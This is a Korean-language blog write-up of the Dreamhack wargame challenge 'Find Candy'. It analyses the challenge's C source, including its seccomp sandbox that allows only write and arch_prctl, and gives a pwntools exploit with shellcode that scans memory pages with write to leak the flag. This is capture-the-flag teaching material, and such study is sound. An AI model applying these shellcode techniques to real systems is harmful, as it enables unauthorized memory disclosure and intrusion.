[Dreamhack] Find Candy

Merry Berry·2024년 9월 14일
0

Pwnable&Reversing

목록 보기
4/7

https://dreamhack.io/wargame/challenges/661

코드 분석

void Init() {
    int fd;
    unsigned int seed;

    setvbuf(stdout, 0, _IONBF, 0);
    setvbuf(stdin, 0, _IOLBF, 0);
    setvbuf(stderr, 0, _IOLBF, 0);

    if ((fd = open("/dev/urandom", O_RDONLY)) == -1)
        HandleError("open error");

    if ((read(fd, &seed, 4)) == -1)
        HandleError("read error");

    srand(seed);

    seed = 0;
}
Init();

// Insert flag into somewhere.
if ((fd = open("./flag", O_RDONLY)) == -1)
	HandleError("open error");

flag_mem = mmap((void *)((((uint64_t)rand() << 12) & 0x0000fffff000) | 0x080000000000), 0x1000, PROT_WRITE | PROT_READ, MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
if (flag_mem == MAP_FAILED)
	HandleError("mmap error");

if (read(fd, flag_mem, 0x500) == -1)
	HandleError("read error");

close(fd);

main() 함수에서 Init() 함수를 호출해 랜덤 시드를 설정한다. 그리고 flag 파일을 열어 랜덤한 메모리 위치(0x800?????000)에 파일 데이터를 쓴다.

uint8_t stub[] = "H1\xc0H1\xdbH1\xc9H1\xd2H1\xf6H1\xffH1\xedM1\xc0M1"
                 "\xc9M1\xd2M1\xdbM1\xe4M1\xedM1\xf6M1\xff\xc5\xfc\x77";
// Create a space for shellcode and initialize it.
sh = mmap((void *)0xbeefdead000, 0x1000, 7, MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
if (sh == MAP_FAILED)
	HandleError("mmap error");

memset(sh, 0x90, 0x1000);
memcpy(sh, stub, sizeof(stub) - 1);

// Create a stack space for rsp.
stack_mem = mmap((void *)0xdeadbeef000, 0x1000, PROT_WRITE | PROT_READ, MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
if (stack_mem == MAP_FAILED)
	HandleError("mmap error");

// Get and execute shellcode.
puts("find me :) ");
sleep(1);
printf("shellcode: ");
read(0, sh + sizeof(stub) - 1, 1000);

쉘코드와 쉘코드를 위한 스택 공간 sh, stack_mem을 할당한 후, sh에 쉘코드를 입력받는다. 이때 sh 영역에는 stub 코드가 저장되는데, 이 코드는 레지스터 초기화를 진행한다.

// sys_write and sys_arch_prctl are allowed.
// sys_arch_prctl is used to initialize fs and gs.
Sandbox();
asm("mov %0, %%rsp" :: "r"(stack_mem));
asm("add $0x800, %rsp");

asm("mov %0, %%rax" :: "r"(sh));

fd = 0;
sh = 0;
flag_mem = 0;
stack_mem = 0;

asm("jmp *%rax");

rspstack_mem의 시작 주소로 옮기고, sh로 점프한다. 이 전에 Sandbox() 함수가 호출된다.

void Sandbox() {
    scmp_filter_ctx ctx;

    if ((ctx = seccomp_init(SCMP_ACT_KILL)) == NULL)
        HandleError("seccomp error");

    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(arch_prctl), 0);

    if (seccomp_load(ctx) < 0) {
      seccomp_release(ctx);
      HandleError("seccomp error");
    }
    seccomp_release(ctx);

    arch_prctl(ARCH_SET_FS, NULL);
    arch_prctl(ARCH_SET_GS, NULL);
}

Sandbox() 함수는 SECCOMPAllow List를 등록하는 함수로, write(), arch_prctl() 시스템 콜을 제외한 모든 시스템 콜의 사용을 제한한다.

문제 풀이 전략

해당 문제에서 사용할 수 있는 시스템 콜은 write(), arch_prctl() 함수이다. 따라서 쉘코드에서 write() 함수를 이용한다면 임의의 메모리 영역의 데이터를 출력할 수 있다.
한편 flag 데이터가 포함된 메모리 영역의 범위는 0x80000000000부터 0x800fffff000 + 458이므로, 이 메모리 영역을 모두 읽는다면 플래그 값을 찾을 수 있을 것이다.

익스플로잇 코드

from pwn import *

BASE_ADDR = 0x80000000000
context.arch = 'amd64'

#p = process('./find_candy')
p = remote(IP/DOMAIN, PORT)

sc = 'mov r8, 0x0\n'

sc += 'loop:'
sc += 'mov rdi, 0x1\n' #STDOUT_FILENO
sc += 'mov r9, r8\n'
sc += 'shl r9, 0xc\n'
sc += 'mov rax, 0x80000000000\n' #buf addr = 0x800x xxxx 000
sc += 'or r9, rax\n'
sc += 'mov rsi, r9\n'
sc += 'mov rdx, 0x1000\n' #size = 0x1000
sc += 'mov rax, 0x1\n' #write() syscall
sc += 'syscall\n'

sc += 'inc r8\n'
sc += 'cmp r8, 0x100000\n'
sc += 'jle loop\n'

p.sendafter(b'shellcode: ', asm(sc))
p.interactive()

0개의 댓글